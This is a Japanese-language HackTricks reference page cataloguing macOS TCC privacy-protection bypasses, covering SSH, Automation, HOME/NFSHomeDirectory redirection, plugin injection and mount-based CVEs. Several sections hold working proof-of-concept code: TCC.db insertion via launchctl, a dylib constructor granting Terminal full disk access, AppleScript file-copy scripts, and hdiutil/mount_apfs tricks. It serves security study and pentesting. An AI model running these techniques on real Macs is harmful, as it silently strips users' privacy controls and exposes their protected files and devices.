hacktricks/macos-hardening/macos-security-and-privileg.../macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md

29 KiB
Raw Blame History

macOS TCC バイパス

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

機能別

書き込みバイパス

これはバイパスではなく、TCCの動作方法です書き込みを保護しません。ターミナルがユーザーのデスクトップを読み取るアクセス権限がなくても、書き込むことができます

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

新しいファイルには、作成者のアプリが読み取りアクセスを持つために、**拡張属性com.apple.macl**が追加されます。

SSHバイパス

デフォルトでは、**SSH経由でのアクセスは「フルディスクアクセス」**を持っていました。これを無効にするには、リストに表示されているが無効になっている必要があります(リストから削除してもこれらの特権は削除されません):

ここでは、いくつかのマルウェアがこの保護をバイパスする方法の例を見つけることができます:

{% hint style="danger" %} SSHを有効にするには、現在はフルディスクアクセスが必要です {% endhint %}

拡張子の処理 - CVE-2022-26767

ファイルには、特定のアプリケーションが読み取り権限を持つためのcom.apple.macl属性が付与されます。この属性は、ファイルをアプリにドラッグ&ドロップするか、ユーザがファイルをダブルクリックしてデフォルトのアプリで開くときに設定されます。

したがって、ユーザは悪意のあるアプリを登録して、すべての拡張子を処理し、Launch Servicesを呼び出して任意のファイルを開くことができます(そのため、悪意のあるファイルは読み取りアクセスが許可されます)。

iCloud

権限**com.apple.private.icloud-account-accessを持つことで、com.apple.iCloudHelper** XPCサービスと通信することができ、iCloudトークンを提供することができます。

iMovieGaragebandにはこの権限と他の権限がありました。

その権限からiCloudトークンを取得するためのエクスプロイトについての詳細については、次のトークを参照してください#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / Automation

kTCCServiceAppleEvents権限を持つアプリは、他のアプリを制御することができます。これは、他のアプリに付与された権限を悪用することができる可能性があります。

Appleスクリプトについての詳細は次を参照してください

{% content-ref url="macos-apple-scripts.md" %} macos-apple-scripts.md {% endcontent-ref %}

たとえば、アプリが**iTermに対してAutomation権限を持っている場合、この例ではTerminal**がiTermにアクセス権を持っています

iTerm上で

FDAを持たないTerminalは、FDAを持つiTermを呼び出して、それを使用してアクションを実行できます

{% code title="iterm.script" %}

tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell

{% endcode %}

osascript iterm.script

Finderを介して

または、アプリがFinderを介してアクセスできる場合、次のようなスクリプトを使用することができます

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

アプリの振る舞いによるバイパス

CVE-20209934 - TCC

ユーザーランドのtccdデーモンは、TCCユーザーデータベースにアクセスするために**HOME環境変数を使用しています。データベースの場所は$HOME/Library/Application Support/com.apple.TCC/TCC.db**です。

このStack Exchangeの投稿によると、TCCデーモンは現在のユーザーのドメイン内でlaunchdを介して実行されているため、それに渡されるすべての環境変数を制御することが可能です。
したがって、攻撃者はlaunchctl$HOME環境変数制御されたディレクトリを指すように設定し、TCCデーモンを再起動し、その後、エンドユーザーにプロンプトを表示せずにTCCデータベースを直接変更して、利用可能なすべてのTCC権限を自分自身に与えることができます。
PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - ノート

ートはTCCで保護された場所にアクセスできますが、ートが作成されると、これは保護されていない場所に作成されます。したがって、ノートに保護されたファイルをコピーするようにノートに依頼し、その後ファイルにアクセスすることができます。

CVE-2021-30782 - トランスロケーション

ライブラリlibsecurity_translocateを使用したバイナリ/usr/libexec/lsdは、com.apple.private.nullfs_allowという権限を持っていました。これにより、nullfsマウントを作成し、com.apple.private.tcc.allowという権限を持っていました。**kTCCServiceSystemPolicyAllFiles**を使用してすべてのファイルにアクセスできました。

"Library"に検疫属性を追加し、com.apple.security.translocation XPCサービスを呼び出すことで、Libraryを**$TMPDIR/AppTranslocation/d/d/Libraryにマッピングし、Library内のすべてのドキュメントにアクセス**することができました。

CVE-2023-38571 - Music & TV

Musicには興味深い機能があります。実行中に、ユーザーの「メディアライブラリ」に~/Music/Music/Media.localized/Automatically Add to Music.localizedにドロップされたファイルをインポートします。さらに、次のようなものを呼び出します:rename(a, b); ここで、abは次のようになります:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"
  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3

この**rename(a, b);の動作は競合状態に対して脆弱です。Automatically Add to Music.localizedフォルダに偽のTCC.dbファイルを配置し、新しいフォルダ(b)が作成されてファイルがコピーされると、ファイルを削除し、~/Library/Application Support/com.apple.TCC**にポイントすることができます。

SQLITE_SQLLOG_DIR - CVE-2023-32422

SQLITE_SQLLOG_DIR="path/folder"とすると、すべてのオープンされたdbがそのパスにコピーされます。このCVEでは、この制御を悪用して、TCCデータベースを持つプロセスによって開かれるSQLiteデータベース内に書き込むことができました。そして、SQLITE_SQLLOG_DIRファイル名のシンボリックリンクとして悪用し、そのデータベースが開かれると、ユーザーのTCC.dbが上書きされます。
詳細はこちら

SQLITE_AUTO_TRACE

環境変数**SQLITE_AUTO_TRACEが設定されている場合、ライブラリlibsqlite3.dylibはすべてのSQLクエリをログに記録**します。多くのアプリケーションがこのライブラリを使用しているため、すべてのSQLiteクエリを記録することが可能でした。

いくつかのAppleのアプリケーションは、TCCで保護された情報にアクセスするためにこのライブラリを使用していました。

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

Apple Remote Desktop

rootとしてこのサービスを有効にすると、ARDエージェントはフルディスクアクセスを持つことができ、ユーザーが新しいTCCユーザーデータベースをコピーさせるために悪用される可能性があります。

NFSHomeDirectoryによる

TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して、ユーザー固有のリソースへのアクセスを制御します。データベースの場所は**$HOME/Library/Application Support/com.apple.TCC/TCC.dbです。
したがって、ユーザーが$HOME環境変数を
異なるフォルダを指すように設定してTCCを再起動できれば、ユーザーは/Library/Application Support/com.apple.TCC/TCC.db**に新しいTCCデータベースを作成し、TCCに任意のTCC許可を与えることができます。

{% hint style="success" %} Appleは、ユーザープロファイル内の**NFSHomeDirectory属性に格納された設定を$HOMEの値として使用しているため、この値(kTCCServiceSystemPolicySysAdminFilesを変更する権限を持つアプリケーションを侵害する場合、このオプションをTCCバイパスとして武器化**することができます。 {% endhint %}

CVE-20209934 - TCC

CVE-2020-27937 - Directory Utility

CVE-2021-30970 - Powerdir

最初のPOCでは、dsexportdsimportを使用して、ユーザーのHOMEフォルダを変更します。

  1. ターゲットアプリケーションの_csreq_ blobを取得します。
  2. 必要なアクセスと_csreq_ blobを持つ偽の_TCC.db_ファイルを配置します。
  3. dsexportを使用して、ユーザーのディレクトリサービスエントリをエクスポートします。
  4. ユーザーのホームディレクトリを変更するためにディレクトリサービスエントリを変更します。
  5. dsimportを使用して変更されたディレクトリサービスエントリをインポートします。
  6. ユーザーの_tccd_を停止し、プロセスを再起動します。

2番目のPOCでは、/usr/libexec/configdcom.apple.private.tcc.allowという値kTCCServiceSystemPolicySysAdminFilesを持っていました。
configd-tオプションで実行することができるため、攻撃者はカスタムバンドルをロードすることができました。したがって、このエクスプロイトは、ユーザーのホームディレクトリを変更する
dsexportdsimportの方法をconfigdコードインジェクション
で置き換えます。

詳細については、元のレポートを参照してください。

プロセスインジェクションによる

プロセス内にコードをインジェクトし、そのTCC特権を悪用するためのさまざまなテクニックがあります。

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

さらに、TCCをバイパスするための最も一般的なプロセスインジェクションは、**プラグイン(ライブラリのロード)**を介して行われます。
プラグインは通常、ライブラリやplist形式の追加コードであり、メインアプリケーションによってロードされ、そのコンテキストで実行されます。したがって、メインアプリケーションがTCCの制限されたファイルにアクセスできる場合許可された権限やエンタイトルメントを介してカスタムコードもそれを持つことになります。

CVE-2020-27937 - Directory Utility

アプリケーション/System/Library/CoreServices/Applications/Directory Utility.appは、エンタイトルメント**kTCCServiceSystemPolicySysAdminFilesを持ち、.daplug**拡張子のプラグインをロードし、ハードニングされていなかったランタイムを持っていました。

このCVEを武器化するために、NFSHomeDirectory変更され前述のエンタイトルメントを悪用、TCCをバイパスするためにユーザーのTCCデータベースを乗っ取ることができます。

詳細については、元のレポートを参照してください。

CVE-2020-29621 - Coreaudiod

バイナリ**/usr/sbin/coreaudiodは、エンタイトルメントcom.apple.security.cs.disable-library-validationcom.apple.private.tcc.managerを持っていました。最初のエンタイトルメントはコードインジェクションを許可し、2番目のエンタイトルメントはTCCの管理権限**を与えています。

このバイナリは、フォルダー/Library/Audio/Plug-Ins/HALからサードパーティのプラグインをロードすることができました。したがって、このPoCでは、プラグインをロードし、TCCの許可を悪用することができました。

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

詳細については、元のレポートを参照してください。

デバイス抽象化レイヤーDALプラグイン

Core Media I/Oを介してカメラストリームを開くシステムアプリケーション**kTCCServiceCamera**を持つアプリ)は、/Library/CoreMediaIO/Plug-Ins/DALにあるこれらのプラグインをプロセス内にロードしますSIP制限はありません

そこに一般的なコンストラクタを持つライブラリを保存するだけで、コードをインジェクトすることができます。

これに対していくつかのAppleのアプリケーションは脆弱でした。

Firefox

Firefoxアプリケーションは、com.apple.security.cs.disable-library-validationの権限を持っているため、まだ脆弱です。

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

詳細な情報については、元のレポートをチェックしてください

CVE-2020-10006

バイナリ /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl には、com.apple.private.tcc.allowcom.apple.security.get-task-allow の権限があり、プロセス内にコードを注入し、TCC の特権を使用することができました。

CVE-2023-26818 - Telegram

Telegram には、com.apple.security.cs.allow-dyld-environment-variablescom.apple.security.cs.disable-library-validation の権限があり、カメラでの録画などの権限にアクセスすることができました。writeup でペイロードを見つけることができます

オープンな呼び出しによる方法

サンドボックス化された状態でも open を呼び出すことができます。

ターミナルスクリプト

テック系の人々が使用するコンピュータでは、ターミナルに Full Disk Access (FDA) を与えることが一般的です。そして、それを使用して .terminal スクリプトを呼び出すことができます。

.terminal スクリプトは、次のようなコマンドを CommandString キーで実行する plist ファイルです:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

アプリケーションは、/tmpなどの場所にターミナルスクリプトを書き込み、次のようなコマンドで起動することができます

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

マウントによる

CVE-2020-9771 - mount_apfs TCC バイパスと特権エスカレーション

どのユーザーでも(特権を持たないユーザーでも)タイムマシンのスナップショットを作成し、マウントすることができ、そのスナップショットのすべてのファイルにアクセスすることができます。
必要なのは、使用されるアプリケーション(例:Terminal)がフルディスクアクセスFDAアクセスkTCCServiceSystemPolicyAllfiles)を持つための特権のみであり、これは管理者によって許可される必要があります。

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

より詳しい説明は元のレポートにあります。

CVE-2021-1784 & CVE-2021-30808 - TCCファイルの上書き

TCC DBファイルが保護されていても、新しいTCC.dbファイルをディレクトリに上書きすることが可能でした:

{% code overflow="wrap" %}

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg

{% endcode %}

# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

オリジナルの解説記事完全なエクスプロイトを確認してください。

asr

ツール**/usr/sbin/asr**は、TCCの保護をバイパスして、ディスク全体をコピーして別の場所にマウントすることができました。

位置情報サービス

/var/db/locationd/clients.plistには、位置情報サービスにアクセスを許可されたクライアントを示す、第3のTCCデータベースがあります。
フォルダ
/var/db/locationd/はDMGのマウントから保護されていなかった
ため、独自のplistをマウントすることが可能でした。

スタートアップアプリによる方法

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

grepによる方法

いくつかの場合、ファイルには電子メール、電話番号、メッセージなどの機密情報が保護されていない場所に保存されることがありますこれはAppleの脆弱性としてカウントされます

Synthetic Clicks

これはもう機能しませんが、過去には機能しました:

CoreGraphicsイベントを使用した別の方法:

参考

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥